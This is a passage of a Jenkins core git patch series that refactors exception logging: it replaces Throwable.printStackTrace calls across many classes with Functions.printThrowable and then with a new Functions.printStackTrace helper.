ece13ca344..b7506ecf39 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -831,7 +831,7 @@ public final class FilePath implements Serializable { return true; } catch (IOException x) { if (listener != null) { - x.printStackTrace(listener.error("Failed to download " + archive + " from agent; will retry from master")); + listener.error("Failed to download " + archive + " from agent; will retry from master").print(Functions.printThrowable(x)); } } } diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index abe104462a..48d5d2741d 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -159,7 +159,7 @@ public abstract class Proc { kill(); } } catch (InterruptedException | IOException | RuntimeException x) { - x.printStackTrace(listener.error("Failed to join a process")); + listener.error("Failed to join a process").print(Functions.printThrowable(x)); } } }); diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index 4b56102bd5..46c707da67 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -1367,7 +1367,7 @@ public class Util { PrintStream log = listener.getLogger(); log.printf("ln %s %s failed%n",targetPath, new File(baseDir, symlinkPath)); Util.displayIOException(e,listener); - e.printStackTrace( log ); + log.print(Functions.printThrowable(e)); } } diff --git a/core/src/main/java/hudson/cli/CLICommand.java b/core/src/main/java/hudson/cli/CLICommand.java index 2ebd3291de..6bc650a07c 100644 --- a/core/src/main/java/hudson/cli/CLICommand.java +++ b/core/src/main/java/hudson/cli/CLICommand.java @@ -29,6 +29,7 @@ import hudson.ExtensionList; import hudson.ExtensionPoint; import hudson.cli.declarative.CLIMethod; import hudson.ExtensionPoint.LegacyInstancesAreScopedToHudson; +import hudson.Functions; import jenkins.util.SystemProperties; import hudson.cli.declarative.OptionHandlerExtension; import jenkins.model.Jenkins; @@ -298,7 +299,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { stderr.println(""); stderr.println("ERROR: " + errorMsg); LOGGER.log(Level.WARNING, errorMsg, e); - e.printStackTrace(stderr); + stderr.print(Functions.printThrowable(e)); return 1; } finally { if(sc != null) @@ -332,7 +333,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { return new ClientAuthenticationCache(channel).get(); } catch (IOException e) { stderr.println("Failed to access the stored credential"); - e.printStackTrace(stderr); // recover + stderr.print(Functions.printThrowable(e)); // recover } return Jenkins.ANONYMOUS; } diff --git a/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java b/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java index e063bb08cd..d0f5244f2e 100644 --- a/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java +++ b/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java @@ -27,6 +27,7 @@ import hudson.AbortException; import hudson.Extension; import hudson.ExtensionComponent; import hudson.ExtensionFinder; +import hudson.Functions; import hudson.Util; import hudson.cli.CLICommand; import hudson.cli.CloneableCLICommand; @@ -269,7 +270,7 @@ public class CLIRegisterer extends ExtensionFinder { stderr.println(""); stderr.println("ERROR: " + errorMsg); LOGGER.log(Level.WARNING, errorMsg, e); - e.printStackTrace(stderr); + stderr.print(Functions.printThrowable(e)); return 1; } } diff --git a/core/src/main/java/hudson/model/AbstractBuild.java b/core/src/main/java/hudson/model/AbstractBuild.java index b723b9b519..2d22548c76 100644 --- a/core/src/main/java/hudson/model/AbstractBuild.java +++ b/core/src/main/java/hudson/model/AbstractBuild.java @@ -633,7 +633,7 @@ public abstract class AbstractBuild

                      ,R extends Abs throw (InterruptedException)new InterruptedException().initCause(e); } catch (IOException e) { // checkout error not yet reported - e.printStackTrace(listener.getLogger()); + listener.getLogger().print(Functions.printThrowable(e)); } if (retryCount == 0) // all attempts failed @@ -749,7 +749,7 @@ public abstract class AbstractBuild

                      ,R extends Abs listener.error("Step ‘" + buildStep + "’ failed: " + e.getMessage()); } else { String msg = "Step ‘" + buildStep + "’ aborted due to exception: "; - e.printStackTrace(listener.error(msg)); + listener.error(msg).print(Functions.printThrowable(e)); LOGGER.log(WARNING, msg, e); } @@ -784,8 +784,7 @@ public abstract class AbstractBuild

                      ,R extends Abs // Channel is closed, do not continue reportBrokenChannel(listener); } catch (RuntimeException ex) { - - ex.printStackTrace(listener.error("Build step failed with exception")); + listener.error("Build step failed with exception").print(Functions.printThrowable(ex)); } for (BuildStepListener bsl : BuildStepListener.all()) { diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index 2c2fe31c76..f00668a173 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -1370,11 +1370,11 @@ public abstract class AbstractProject

                      ,R extends A SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (IOException e) { - e.printStackTrace(listener.fatalError(e.getMessage())); + listener.fatalError(e.getMessage()).print(Functions.printThrowable(e)); SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (InterruptedException e) { - e.printStackTrace(listener.fatalError(Messages.AbstractProject_PollingABorted())); + listener.fatalError(Messages.AbstractProject_PollingABorted()).print(Functions.printThrowable(e)); SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (RuntimeException e) { diff --git a/core/src/main/java/hudson/model/AsyncAperiodicWork.java b/core/src/main/java/hudson/model/AsyncAperiodicWork.java index 069a4bb05f..02c108bb65 100644 --- a/core/src/main/java/hudson/model/AsyncAperiodicWork.java +++ b/core/src/main/java/hudson/model/AsyncAperiodicWork.java @@ -23,6 +23,7 @@ */ package hudson.model; +import hudson.Functions; import hudson.security.ACL; import hudson.util.StreamTaskListener; import java.io.File; @@ -119,9 +120,9 @@ public abstract class AsyncAperiodicWork extends AperiodicWork { execute(l); } catch (IOException e) { - e.printStackTrace(l.fatalError(e.getMessage())); + l.fatalError(e.getMessage()).print(Functions.printThrowable(e)); } catch (InterruptedException e) { - e.printStackTrace(l.fatalError("aborted")); + l.fatalError("aborted").print(Functions.printThrowable(e)); } finally { stopTime = System.currentTimeMillis(); try { diff --git a/core/src/main/java/hudson/model/AsyncPeriodicWork.java b/core/src/main/java/hudson/model/AsyncPeriodicWork.java index d88413f412..383786c8cb 100644 --- a/core/src/main/java/hudson/model/AsyncPeriodicWork.java +++ b/core/src/main/java/hudson/model/AsyncPeriodicWork.java @@ -1,5 +1,6 @@ package hudson.model; +import hudson.Functions; import hudson.security.ACL; import hudson.util.StreamTaskListener; import java.io.File; @@ -99,9 +100,9 @@ public abstract class AsyncPeriodicWork extends PeriodicWork { execute(l); } catch (IOException e) { - e.printStackTrace(l.fatalError(e.getMessage())); + l.fatalError(e.getMessage()).print(Functions.printThrowable(e)); } catch (InterruptedException e) { - e.printStackTrace(l.fatalError("aborted")); + l.fatalError("aborted").print(Functions.printThrowable(e)); } finally { stopTime = System.currentTimeMillis(); try { diff --git a/core/src/main/java/hudson/model/Build.java b/core/src/main/java/hudson/model/Build.java index a5dbcfcf1f..3a8fd35e73 100644 --- a/core/src/main/java/hudson/model/Build.java +++ b/core/src/main/java/hudson/model/Build.java @@ -23,6 +23,7 @@ */ package hudson.model; +import hudson.Functions; import hudson.Launcher; import hudson.tasks.BuildStep; import hudson.tasks.BuildWrapper; @@ -195,7 +196,7 @@ public abstract class Build

                      ,B extends Build> performAllBuildSteps(listener, project.getPublishersList(), false); performAllBuildSteps(listener, project.getProperties(), false); } catch (Exception x) { - x.printStackTrace(listener.error(Messages.Build_post_build_steps_failed())); + listener.error(Messages.Build_post_build_steps_failed()).print(Functions.printThrowable(x)); } super.cleanUp(listener); } diff --git a/core/src/main/java/hudson/model/Executor.java b/core/src/main/java/hudson/model/Executor.java index d30ecf5da8..a42b723dba 100644 --- a/core/src/main/java/hudson/model/Executor.java +++ b/core/src/main/java/hudson/model/Executor.java @@ -24,6 +24,7 @@ package hudson.model; import hudson.FilePath; +import hudson.Functions; import hudson.Util; import hudson.model.Queue.Executable; import hudson.model.queue.Executables; @@ -289,7 +290,7 @@ public class Executor extends Thread implements ModelObject { } else { pw.println("Termination trace follows:"); for (Computer.TerminationRequest request : owner.getTerminatedBy()) { - request.printStackTrace(pw); + pw.print(Functions.printThrowable(request)); } } } diff --git a/core/src/main/java/hudson/model/FingerprintCleanupThread.java b/core/src/main/java/hudson/model/FingerprintCleanupThread.java index 10716d073f..fffd8db483 100644 --- a/core/src/main/java/hudson/model/FingerprintCleanupThread.java +++ b/core/src/main/java/hudson/model/FingerprintCleanupThread.java @@ -25,6 +25,7 @@ package hudson.model; import hudson.Extension; import hudson.ExtensionList; +import hudson.Functions; import jenkins.model.Jenkins; import org.jenkinsci.Symbol; @@ -113,7 +114,7 @@ public final class FingerprintCleanupThread extends AsyncPeriodicWork { return fp.trim(); } } catch (IOException e) { - e.printStackTrace(listener.error("Failed to process " + fingerprintFile)); + listener.error("Failed to process " + fingerprintFile).print(Functions.printThrowable(e)); return false; } } diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index 338475983c..81fb8a07fa 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -73,7 +73,6 @@ import java.io.OutputStream; import java.io.PrintWriter; import java.io.RandomAccessFile; import java.io.Reader; -import java.io.StringWriter; import java.nio.charset.Charset; import java.text.DateFormat; import java.text.SimpleDateFormat; @@ -1865,7 +1864,7 @@ public abstract class Run ,RunT extends Run,RunT extends Run, ExtensionPoint { createEmptyChangeLog(changelogFile, (TaskListener) listener, rootTag); return true; } catch (IOException e) { - e.printStackTrace(listener.error(e.getMessage())); + listener.error(e.getMessage()).print(Functions.printThrowable(e)); return false; } } diff --git a/core/src/main/java/hudson/slaves/CommandLauncher.java b/core/src/main/java/hudson/slaves/CommandLauncher.java index 832e392ea3..1a152e55a9 100644 --- a/core/src/main/java/hudson/slaves/CommandLauncher.java +++ b/core/src/main/java/hudson/slaves/CommandLauncher.java @@ -27,6 +27,7 @@ import hudson.AbortException; import hudson.EnvVars; import hudson.Util; import hudson.Extension; +import hudson.Functions; import hudson.model.Descriptor; import hudson.model.Slave; import jenkins.model.Jenkins; @@ -143,11 +144,11 @@ public class CommandLauncher extends ComputerLauncher { LOGGER.info("agent launched for " + computer.getDisplayName()); } catch (InterruptedException e) { - e.printStackTrace(listener.error(Messages.ComputerLauncher_abortedLaunch())); + listener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(e)); } catch (RuntimeException e) { - e.printStackTrace(listener.error(Messages.ComputerLauncher_unexpectedError())); + listener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); } catch (Error e) { - e.printStackTrace(listener.error(Messages.ComputerLauncher_unexpectedError())); + listener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); } catch (IOException e) { Util.displayIOException(e, listener); @@ -159,14 +160,14 @@ public class CommandLauncher extends ComputerLauncher { } msg = hudson.model.Messages.Slave_UnableToLaunch(computer.getDisplayName(), msg); LOGGER.log(Level.SEVERE, msg, e); - e.printStackTrace(listener.error(msg)); + listener.error(msg).print(Functions.printThrowable(e)); if(_proc!=null) { reportProcessTerminated(_proc, listener); try { ProcessTree.get().killAll(_proc, _cookie); } catch (InterruptedException x) { - x.printStackTrace(listener.error(Messages.ComputerLauncher_abortedLaunch())); + listener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(x)); } } } diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 080af48bd0..57662bc18b 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -25,6 +25,7 @@ package hudson.slaves; import hudson.AbortException; import hudson.FilePath; +import hudson.Functions; import hudson.Util; import hudson.console.ConsoleLogFilter; import hudson.model.Computer; @@ -264,13 +265,13 @@ public class SlaveComputer extends Computer { throw e; } catch (IOException e) { Util.displayIOException(e,taskListener); - e.printStackTrace(taskListener.error(Messages.ComputerLauncher_unexpectedError())); + taskListener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); throw e; } catch (InterruptedException e) { - e.printStackTrace(taskListener.error(Messages.ComputerLauncher_abortedLaunch())); + taskListener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(e)); throw e; } catch (Exception e) { - e.printStackTrace(taskListener.error(Messages.ComputerLauncher_unexpectedError())); + taskListener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); throw e; } } finally { @@ -494,7 +495,7 @@ public class SlaveComputer extends Computer { // Orderly shutdown will have null exception if (cause!=null) { offlineCause = new ChannelTermination(cause); - cause.printStackTrace(taskListener.error("Connection terminated")); + taskListener.error("Connection terminated").print(Functions.printThrowable(cause)); } else { taskListener.getLogger().println("Connection terminated"); } diff --git a/core/src/main/java/hudson/tasks/ArtifactArchiver.java b/core/src/main/java/hudson/tasks/ArtifactArchiver.java index ca1f154f15..2b8f3d4865 100644 --- a/core/src/main/java/hudson/tasks/ArtifactArchiver.java +++ b/core/src/main/java/hudson/tasks/ArtifactArchiver.java @@ -28,6 +28,7 @@ import jenkins.MasterToSlaveFileCallable; import hudson.Launcher; import hudson.Util; import hudson.Extension; +import hudson.Functions; import jenkins.util.SystemProperties; import hudson.model.AbstractProject; import hudson.model.Result; @@ -262,8 +263,7 @@ public class ArtifactArchiver extends Recorder implements SimpleBuildStep { } } catch (IOException e) { Util.displayIOException(e,listener); - e.printStackTrace(listener.error( - Messages.ArtifactArchiver_FailedToArchive(artifacts))); + listener.error(Messages.ArtifactArchiver_FailedToArchive(artifacts)).print(Functions.printThrowable(e)); build.setResult(Result.FAILURE); return; } diff --git a/core/src/main/java/hudson/tasks/CommandInterpreter.java b/core/src/main/java/hudson/tasks/CommandInterpreter.java index fc45e20f0d..5170aff8e8 100644 --- a/core/src/main/java/hudson/tasks/CommandInterpreter.java +++ b/core/src/main/java/hudson/tasks/CommandInterpreter.java @@ -28,6 +28,7 @@ import hudson.Launcher; import hudson.Proc; import hudson.Util; import hudson.EnvVars; +import hudson.Functions; import hudson.model.AbstractBuild; import hudson.model.BuildListener; import hudson.model.Node; @@ -93,7 +94,7 @@ public abstract class CommandInterpreter extends Builder { script = createScriptFile(ws); } catch (IOException e) { Util.displayIOException(e,listener); - e.printStackTrace(listener.fatalError(Messages.CommandInterpreter_UnableToProduceScript())); + listener.fatalError(Messages.CommandInterpreter_UnableToProduceScript()).print(Functions.printThrowable(e)); return false; } @@ -113,7 +114,7 @@ public abstract class CommandInterpreter extends Builder { } } catch (IOException e) { Util.displayIOException(e, listener); - e.printStackTrace(listener.fatalError(Messages.CommandInterpreter_CommandFailed())); + listener.fatalError(Messages.CommandInterpreter_CommandFailed()).print(Functions.printThrowable(e)); } return r==0; } finally { @@ -132,10 +133,10 @@ public abstract class CommandInterpreter extends Builder { LOGGER.log(Level.FINE, "Script deletion failed", e); } else { Util.displayIOException(e,listener); - e.printStackTrace( listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)) ); + listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)).print(Functions.printThrowable(e)); } } catch (Exception e) { - e.printStackTrace( listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)) ); + listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)).print(Functions.printThrowable(e)); } } } diff --git a/core/src/main/java/hudson/tasks/Fingerprinter.java b/core/src/main/java/hudson/tasks/Fingerprinter.java index 1385e645b4..beda443bf3 100644 --- a/core/src/main/java/hudson/tasks/Fingerprinter.java +++ b/core/src/main/java/hudson/tasks/Fingerprinter.java @@ -27,6 +27,7 @@ import com.google.common.collect.ImmutableMap; import hudson.EnvVars; import hudson.Extension; import hudson.FilePath; +import hudson.Functions; import jenkins.MasterToSlaveFileCallable; import hudson.Launcher; import jenkins.util.SystemProperties; @@ -137,7 +138,7 @@ public class Fingerprinter extends Recorder implements Serializable, DependencyD Jenkins.getInstance().rebuildDependencyGraphAsync(); } } catch (IOException e) { - e.printStackTrace(listener.error(Messages.Fingerprinter_Failed())); + listener.error(Messages.Fingerprinter_Failed()).print(Functions.printThrowable(e)); build.setResult(Result.FAILURE); } diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index a8d78ed344..4939ea7044 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -366,7 +366,7 @@ public class Maven extends Builder { } } catch (IOException e) { Util.displayIOException(e,listener); - e.printStackTrace( listener.fatalError(Messages.Maven_ExecFailed()) ); + listener.fatalError(Messages.Maven_ExecFailed()).print(Functions.printThrowable(e)); return false; } startIndex = endIndex + 1; diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index 577df2acf5..d3c7074eb6 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -27,6 +27,7 @@ package hudson.triggers; import antlr.ANTLRException; import com.google.common.base.Preconditions; import hudson.Extension; +import hudson.Functions; import hudson.Util; import hudson.console.AnnotatedLargeText; import hudson.model.AbstractBuild; @@ -568,7 +569,7 @@ public class SCMTrigger extends Trigger { logger.println("No changes"); return result; } catch (Error | RuntimeException e) { - e.printStackTrace(listener.error("Failed to record SCM polling for "+job)); + listener.error("Failed to record SCM polling for " + job).print(Functions.printThrowable(e)); LOGGER.log(Level.SEVERE,"Failed to record SCM polling for "+job,e); throw e; } finally { diff --git a/core/src/main/java/hudson/util/RemotingDiagnostics.java b/core/src/main/java/hudson/util/RemotingDiagnostics.java index ed3a4c814b..02184c3397 100644 --- a/core/src/main/java/hudson/util/RemotingDiagnostics.java +++ b/core/src/main/java/hudson/util/RemotingDiagnostics.java @@ -143,7 +143,7 @@ public final class RemotingDiagnostics { if(output!=null) pw.println("Result: "+output); } catch (Throwable t) { - t.printStackTrace(pw); + pw.print(Functions.printThrowable(t)); } return out.toString(); } diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 45e5b6ae27..08bf646c67 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -1,6 +1,7 @@ package hudson.util; import com.trilead.ssh2.crypto.Base64; +import hudson.Functions; import hudson.model.TaskListener; import org.apache.commons.io.FileUtils; @@ -169,7 +170,7 @@ public class SecretRewriter { rewritten++; } } catch (IOException e) { - e.printStackTrace(listener.error("Failed to rewrite "+child)); + listener.error("Failed to rewrite " + child).print(Functions.printThrowable(e)); } } if (child.isDirectory()) { diff --git a/core/src/main/java/jenkins/PluginSubtypeMarker.java b/core/src/main/java/jenkins/PluginSubtypeMarker.java index d10427a33d..a161595120 100644 --- a/core/src/main/java/jenkins/PluginSubtypeMarker.java +++ b/core/src/main/java/jenkins/PluginSubtypeMarker.java @@ -23,6 +23,7 @@ */ package jenkins; +import hudson.Functions; import hudson.Plugin; import org.kohsuke.MetaInfServices; @@ -69,9 +70,7 @@ public class PluginSubtypeMarker extends AbstractProcessor { try { write(e); } catch (IOException x) { - StringWriter sw = new StringWriter(); - x.printStackTrace(new PrintWriter(sw)); - processingEnv.getMessager().printMessage(Kind.ERROR,sw.toString(),e); + processingEnv.getMessager().printMessage(Kind.ERROR, Functions.printThrowable(x), e); } } } diff --git a/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java b/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java index 50d4e6cbeb..47a682cd98 100644 --- a/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java +++ b/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java @@ -1,6 +1,7 @@ package jenkins.management; import hudson.AbortException; +import hudson.Functions; import hudson.console.AnnotatedLargeText; import hudson.model.AdministrativeMonitor; import hudson.model.TaskListener; @@ -125,7 +126,7 @@ public abstract class AsynchronousAdministrativeMonitor extends AdministrativeMo } catch (AbortException e) { listener.error(e.getMessage()); } catch (Throwable e) { - e.printStackTrace(listener.error(getName() + " failed")); + listener.error(getName() + " failed").print(Functions.printThrowable(e)); LOGGER.log(Level.WARNING, getName() + " failed", e); } } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 7c61deebdd..a6a77c4074 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -272,7 +272,6 @@ import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; -import java.io.StringWriter; import java.net.BindException; import java.net.HttpURLConnection; import java.net.URL; @@ -3768,9 +3767,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve try { r.put(e.getKey(), e.getValue().get(endTime-System.currentTimeMillis(), TimeUnit.MILLISECONDS)); } catch (Exception x) { - StringWriter sw = new StringWriter(); - x.printStackTrace(new PrintWriter(sw,true)); - r.put(e.getKey(), Collections.singletonMap("Failed to retrieve thread dump",sw.toString())); + r.put(e.getKey(), Collections.singletonMap("Failed to retrieve thread dump", Functions.printThrowable(x))); } } return Collections.unmodifiableSortedMap(new TreeMap>(r)); diff --git a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java index 7b48e94a0c..c486193c9c 100644 --- a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java +++ b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java @@ -1,6 +1,7 @@ package jenkins.security; import hudson.Extension; +import hudson.Functions; import hudson.init.InitMilestone; import hudson.init.Initializer; import hudson.model.TaskListener; @@ -152,7 +153,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor i LOGGER.info("Secret re-keying completed"); } catch (Exception e) { LOGGER.log(Level.SEVERE, "Fatal failure in re-keying secrets",e); - e.printStackTrace(listener.error("Fatal failure in rewriting secrets")); + listener.error("Fatal failure in rewriting secrets").print(Functions.printThrowable(e)); } } diff --git a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java index 4daf509cfb..3b7cdd2ba0 100644 --- a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java +++ b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java @@ -3,6 +3,7 @@ package jenkins.slaves; import edu.umd.cs.findbugs.annotations.NonNull; import hudson.ClassicPluginStrategy; import hudson.Extension; +import hudson.Functions; import hudson.TcpSlaveAgentListener.ConnectionFromCurrentPeer; import hudson.Util; import hudson.model.Computer; @@ -171,7 +172,7 @@ public class DefaultJnlpSlaveReceiver extends JnlpAgentReceiver { computer.setChannel(event.getChannel(), state.getLog(), null); } catch (IOException | InterruptedException e) { PrintWriter logw = new PrintWriter(state.getLog(), true); - e.printStackTrace(logw); + logw.print(Functions.printThrowable(e)); IOUtils.closeQuietly(event.getChannel()); } } diff --git a/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java b/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java index d30d6d2281..d271a37913 100644 --- a/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java +++ b/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java @@ -1,6 +1,7 @@ package jenkins.slaves.restarter; import hudson.Extension; +import hudson.Functions; import hudson.model.Computer; import hudson.model.TaskListener; import hudson.remoting.Engine; @@ -93,7 +94,7 @@ public class JnlpSlaveRestarterInstaller extends ComputerListener implements Ser LOGGER.log(FINE, "Effective SlaveRestarter on {0}: {1}", new Object[] {c.getName(), effective}); } catch (Throwable e) { - e.printStackTrace(listener.error("Failed to install restarter")); + listener.error("Failed to install restarter").print(Functions.printThrowable(e)); } } diff --git a/core/src/main/resources/META-INF/upgrade/Functions.hint b/core/src/main/resources/META-INF/upgrade/Functions.hint new file mode 100644 index 0000000000..c2316aef02 --- /dev/null +++ b/core/src/main/resources/META-INF/upgrade/Functions.hint @@ -0,0 +1,2 @@ +$t.printStackTrace($s) :: $s instance java.io.PrintStream && $t instanceof Throwable => $s.print(hudson.Functions.printThrowable($t));; +$t.printStackTrace($s) :: $s instance java.io.PrintWriter && $t instanceof Throwable => $s.print(hudson.Functions.printThrowable($t));; -- GitLab From 76aa0727f0ff0e500b1d970c72b4644d722309ef Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 17:56:24 -0500 Subject: [PATCH 412/712] Functions.printStackTrace utility method. --- core/src/main/java/hudson/FilePath.java | 2 +- core/src/main/java/hudson/Functions.java | 21 +++++++++++++++++++ core/src/main/java/hudson/Proc.java | 2 +- core/src/main/java/hudson/Util.java | 2 +- core/src/main/java/hudson/cli/CLICommand.java | 4 ++-- .../hudson/cli/declarative/CLIRegisterer.java | 2 +- .../main/java/hudson/model/AbstractBuild.java | 6 +++--- .../java/hudson/model/AbstractProject.java | 4 ++-- .../java/hudson/model/AsyncAperiodicWork.java | 4 ++-- .../java/hudson/model/AsyncPeriodicWork.java | 4 ++-- core/src/main/java/hudson/model/Build.java | 2 +- core/src/main/java/hudson/model/Executor.java | 2 +- .../model/FingerprintCleanupThread.java | 2 +- core/src/main/java/hudson/model/Run.java | 2 +- .../main/java/hudson/model/TaskThread.java | 2 +- .../hudson/model/WorkspaceCleanupThread.java | 8 +++---- .../java/hudson/os/solaris/ZFSInstaller.java | 4 ++-- core/src/main/java/hudson/scm/SCM.java | 2 +- .../java/hudson/slaves/CommandLauncher.java | 10 ++++----- .../java/hudson/slaves/SlaveComputer.java | 8 +++---- .../java/hudson/tasks/ArtifactArchiver.java | 2 +- .../java/hudson/tasks/CommandInterpreter.java | 8 +++---- .../main/java/hudson/tasks/Fingerprinter.java | 2 +- core/src/main/java/hudson/tasks/Maven.java | 2 +- .../main/java/hudson/triggers/SCMTrigger.java | 2 +- .../java/hudson/util/RemotingDiagnostics.java | 2 +- .../main/java/hudson/util/SecretRewriter.java | 2 +- .../AsynchronousAdministrativeMonitor.java | 2 +- .../security/RekeySecretAdminMonitor.java | 2 +- .../slaves/DefaultJnlpSlaveReceiver.java | 2 +- .../JnlpSlaveRestarterInstaller.java | 2 +- .../resources/META-INF/upgrade/Functions.hint | 4 ++-- 32 files changed, 73 insertions(+), 52 deletions(-) diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index b7506ecf39..2de31671dc 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -831,7 +831,7 @@ public final class FilePath implements Serializable { return true; } catch (IOException x) { if (listener != null) { - listener.error("Failed to download " + archive + " from agent; will retry from master").print(Functions.printThrowable(x)); + Functions.printStackTrace(x, listener.error("Failed to download " + archive + " from agent; will retry from master")); } } } diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index f2863b5905..6e435834fc 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -156,6 +156,7 @@ import com.google.common.base.Predicate; import com.google.common.base.Predicates; import hudson.model.PasswordParameterDefinition; import hudson.util.RunList; +import java.io.PrintStream; import java.util.HashSet; import java.util.Set; import java.util.concurrent.atomic.AtomicLong; @@ -1505,6 +1506,26 @@ public class Functions { } } + /** + * Like {@link Throwable#printStackTrace(PrintWriter)} but using {@link #printThrowable} format. + * @param t an exception to print + * @param pw the log + * @since FIXME + */ + public static void printStackTrace(@CheckForNull Throwable t, @Nonnull PrintWriter pw) { + pw.println(printThrowable(t).trim()); + } + + /** + * Like {@link Throwable#printStackTrace(PrintStream)} but using {@link #printThrowable} format. + * @param t an exception to print + * @param ps the log + * @since FIXME + */ + public static void printStackTrace(@CheckForNull Throwable t, @Nonnull PrintStream ps) { + ps.println(printThrowable(t).trim()); + } + /** * Counts the number of rows needed for textarea to fit the content. * Minimum 5 rows. diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index 48d5d2741d..8561bdbd64 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -159,7 +159,7 @@ public abstract class Proc { kill(); } } catch (InterruptedException | IOException | RuntimeException x) { - listener.error("Failed to join a process").print(Functions.printThrowable(x)); + Functions.printStackTrace(x, listener.error("Failed to join a process")); } } }); diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index 46c707da67..73d6156713 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -1367,7 +1367,7 @@ public class Util { PrintStream log = listener.getLogger(); log.printf("ln %s %s failed%n",targetPath, new File(baseDir, symlinkPath)); Util.displayIOException(e,listener); - log.print(Functions.printThrowable(e)); + Functions.printStackTrace(e, log); } } diff --git a/core/src/main/java/hudson/cli/CLICommand.java b/core/src/main/java/hudson/cli/CLICommand.java index 6bc650a07c..a2fb8bc51f 100644 --- a/core/src/main/java/hudson/cli/CLICommand.java +++ b/core/src/main/java/hudson/cli/CLICommand.java @@ -299,7 +299,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { stderr.println(""); stderr.println("ERROR: " + errorMsg); LOGGER.log(Level.WARNING, errorMsg, e); - stderr.print(Functions.printThrowable(e)); + Functions.printStackTrace(e, stderr); return 1; } finally { if(sc != null) @@ -333,7 +333,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { return new ClientAuthenticationCache(channel).get(); } catch (IOException e) { stderr.println("Failed to access the stored credential"); - 